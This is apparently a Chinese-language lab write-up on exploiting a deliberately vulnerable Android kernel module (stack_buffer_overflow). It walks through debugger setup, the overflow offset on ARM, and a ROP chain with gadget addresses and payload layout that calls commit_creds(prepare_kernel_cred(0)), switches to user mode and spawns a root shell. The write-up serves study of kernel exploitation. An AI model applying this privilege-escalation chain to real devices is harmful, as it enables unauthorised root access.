参考项目 https://github.com/Fuzion24/AndroidKernelExploitationPlayground/
题目:stack_buffer_overflow

环境搭建

具体的环境搭建网上已经有很多介绍文章了,就不做介绍。

首先用模拟器启动android,然后新开一个终端执行 adb shell ,这样就得到了一个与被调试机交互的shell

kaka@kaka-virtual-machine:~$ adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
root@generic:/ # 

在adb shell执行下面一条命令以允许查看符号地址

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict

关于调试:网上教程都推荐使用 arm-linux-androideabi-gdb,但是我在配合插件 peda-arm 使用的时候不能打印上下文信息,因此字节编译了一个arm gdb,然后把.gdbinit改为peda-arm的就可以了

kaka@kaka-virtual-machine:~/android_exploit_learn/goldfish$ gdb vmlinux

为了调试 stack_buffer_overflow 模块,首先要先添加模块的符号表,一般格式为add-symbol-file xxx.o .text_addr ,这里对应模块驱动我们是有的,但是缺少代码段基地址,我们可以通过查看模块函数地址减去相应的偏移,就可以得到对应的基地址。

root@generic:/ # cat /proc/kallsyms | grep proc_entry_write                    
c025c2cc T proc_entry_write

或者直接在gdb里面打印该模块某个函数的地址。这样整个运行以及调试环境就可以了,下面就进入正题

stack_buffer_overflow

基础知识

arm与x86在设计上有很大区别,因此首先要学习一下arm指令集以及相关寄存器

arm      x86
FP       ebp        基地址寄存器
sp       esp        栈顶指针寄存器

stack_buffer_overflow

通过查看源码或者查看ida反汇编结果可知,proc_entry_write 函数对传入的字符串长度没有进行限制,导致栈溢出,如果是x86的话,可以直接查看字符串起始地址到ret地址的距离,确定填充长度,但是arm有点区别。

通过判断调用 copy_from_user 时的参数确定缓冲区开始位置

peda-arm > info args
n = 0x7
from = <optimized out>
to = 0xd774fee0

函数要返回时

=> 0xc025c33c <proc_entry_write+112>:    pop    {r4, pc}
   0xc025c340 <proc_entry_write+116>:    subgt    lr, r1, r5, lsr #1
   0xc025c344 <sock_no_open>:    mvn    r0, #5
   0xc025c348 <sock_no_open+4>:    bx    lr
   0xc025c34c <sock_poll>:    push    {r3, lr}
[-----------------------------------------------STACK-----------------------------------------------]
0000| 0xd774ff20 --> 0xdeaaf140 --> 0xf0000287 
0004| 0xd774ff24 --> 0xc00fa4a4 --> 0xe1a05000 
0008| 0xd774ff28 --> 0xd774ff88 --> 0x0 
0012| 0xd774ff2c --> 0xdeaaf140 --> 0xf0000287 
0016| 0xd774ff30 --> 0xc00fa3f8 --> 0xe92d40f8 
0020| 0xd774ff34 --> 0xd1c2c5c0 --> 0xde80d274 (0xd1c2c5c0)
0024| 0xd774ff38 --> 0xd774ff88 --> 0x0 
0028| 0xd774ff3c --> 0xc00f5b54 --> 0xe1a05000 

这里与x86就不同了,x86在返回时,一般通过执行ret,将栈顶的值popeip 这样返回,但是arm通过直接将地址poppc 寄存器,{}内有多个寄存器时,从栈顶依次从左到右pop到寄存器,这也就意味着 0xd774ff24 保存返回地址,这样就可以计算出要填充的空间大小。

既然可以控制pc寄存器了,那么这个值应该要填充什么?因为内核洞的目的一般都是用来提权,提权就需要使用两个函数,这里跟x86一样

prepare_kernel_cred:分配一个新的cred
commit_creds:应用这个新的凭据
==>> commit_creds(prepare_kernel_cred(0))

因为在低版本android kernel中没有pxn保护,也就意味着我们可以在内核态执行用户空间代码,这样就可以将当前进程提升到root权限。

用户模式与其他模式切换

提升权限以后呢,这样就应该要返回到用户空间执行system("/bin/sh")获取一个高权限的shell了,android如何从内核态返回到用户态?

这个时候就需要了解一下 CPSR 寄存器的作用,可以看一下这两篇文章cpsr寄存器arm处理器模式切换 。可以知道,只要将CPSR寄存器低4bit置0就可以。这样就需要在内核做rop了

ret2usr

因为可以控制pc,有没有开启PAN,PXN,因此可以直接让pc指向用户空间的shellcode,网上有多篇文章做了分析。主要分析一下rop。

rop

首先使用rop执行commit_creds(prepapre_kernel_cred(0))提权,因此要控制r0寄存器为0

0xc0010a10: pop {r0, pc}; 

看一下prepare_kernel_cred的汇编

(gdb) disassemble prepare_kernel_cred
Dump of assembler code for function prepare_kernel_cred:
   0xc0039d34 <+0>:    push    {r3, r4, r5, lr}
   0xc0039d38 <+4>:    mov    r1, #208    ; 0xd0
......
   0xc0039e58 <+292>:    mov    r0, r5
   0xc0039e5c <+296>:    pop    {r3, r4, r5, pc}
......
End of assembler dump.

一开始先将lr压栈,在函数退出的时候将其pop到pc。如果过没有合适的gadgets就不能控制lr,因此我们可以直接跳过第一行汇编,直接执行第二行,然后在栈上填充值替代这个操作。这样lr就应该是commit_kernel_cred地址,因此执行rop时的栈

0xc0010a10
0
0xc0039d38
0
0
0
commit_kernel_cred

commit_creds汇编:

(gdb) disassemble commit_creds
Dump of assembler code for function commit_creds:
   0xc0039834 <+0>:    push    {r0, r1, r2, r3, r4, r5, r6, lr}
   0xc0039838 <+4>:    mov    r2, sp
   0xc003983c <+8>:    bic    r3, r2, #8128    ; 0x1fc0
......
   0xc0039a58 <+548>:    pop    {r4, r5, r6, pc}
   0xc0039a5c <+552>:    subgt    r3, pc, r12, ror r9    ; <UNPREDICTABLE>
End of assembler dump.

commit_creds也是在函数返回的时候将执行lr所指向的代码片段,因为再执行完以后就要切换cpu运行模式为用户模式了,因为lr需要用一条gadgets地址取代,这里采用上面一样的处理方法,把第一行跳过。此时的栈(接上面的结尾)

0xc0039838 (commit_kernel_cred)
0
0
0
0
0
0
0
&gadgets

下面就要控制cpu切换模式。

找了一圈关于msr的gadgets,感觉下面这一条很简短,只需要一个pop r2,而且在切换模式以后能直接控制pc寄存器。

0xc000d120: msr cpsr_c, r2; pop {r4, pc}; 

针对pop r2没找到太好的gadget,只好用下面这条,这条在控制r2的同时,还能控制lr,在结合bx指令跳转到目标地址

0xc005a2fc: pop {r2, r3, lr}; add sp, sp, #0xc; bx lr; 

这样,首先通过第二条控制r2为用户态的cspr,lr为第一条gadget的地址,上面的 addr1就可以用0xc005a2fc替换了。

因为还有一个add sp, sp, #0xc;,为了使下面的gadgets正常执行,这部分填充也要加上

这样就会来到gadgets1,将会通过pop 控制pc,这样pc可以直接只想用户态的system("/bin/sh"),只需要在栈上填充一个r4就可以。payload就应该为下面的样子。

0xc005a2fc (&gadgets)
0x60000010
0
0xc000d120
0
0
0
0
&getshell

测试

rop执行prepare_kernel_cred后,分配了一个uid=0的cred

peda-arm > p (*(struct cred*)$r0)
$3 = {
  usage = {
    counter = 0x1
  }, 
  uid = 0x0, 
  gid = 0x0, 
  suid = 0x0, 
  sgid = 0x0, 
  euid = 0x0, 
  egid = 0x0, 
  fsuid = 0x0, 
  fsgid = 0x0, 
  securebits = 0x0, 
  cap_inheritable = {
    cap = {0x0, 0x0}
  }, 
......
}

commit_creds执行完要切换cpu模式

=> 0xc0039a58 <commit_creds+548>:    pop    {r4, r5, r6, pc}
   0xc0039a5c <commit_creds+552>:    subgt    r3, pc, r12, ror r9    ; <UNPREDICTABLE>
   0xc0039a60 <abort_creds>:    ldr    r2, [r0]
   0xc0039a64 <abort_creds+4>:    ldr    r2, [r0]
   0xc0039a68 <abort_creds+8>:    cmp    r2, #0
[-----------------------------------------------STACK-----------------------------------------------]
0000| 0xd39a7f50 --> 0x0 
0004| 0xd39a7f54 --> 0x0 
0008| 0xd39a7f58 --> 0x0 
0012| 0xd39a7f5c --> 0xc005a2fc --> 0xe8bd400c 
0016| 0xd39a7f60 --> 0x60000010 
0020| 0xd39a7f64 --> 0x0 
0024| 0xd39a7f68 --> 0x0 
0028| 0xd39a7f6c --> 0x0 

切换cpu模式

=> 0xc005a2fc <audit_log_format+32>:    pop    {r2, r3, lr}
   0xc005a300 <audit_log_format+36>:    add    sp, sp, #12
   0xc005a304 <audit_log_format+40>:    bx    lr
   0xc005a308 <audit_log_start>:    ldr    r3, [pc, #944]    ; 0xc005a6c0 <audit_log_start+952>
   0xc005a30c <audit_log_start+4>:    push    {r4, r5, r6, r7, r8, r9, r10, r11, lr}
[------------------------------------STACK-------------------------------------]
0000| 0xd4339f60 --> 0x60000010 
0004| 0xd4339f64 --> 0x0 
0008| 0xd4339f68 --> 0xc000d120 --> 0xe121f002 
0012| 0xd4339f6c --> 0x0 
0016| 0xd4339f70 --> 0x0 
0020| 0xd4339f74 --> 0x0 
0024| 0xd4339f78 --> 0x0 
0028| 0xd4339f7c --> 0x827d --> 0x447848 ('HxD')

preView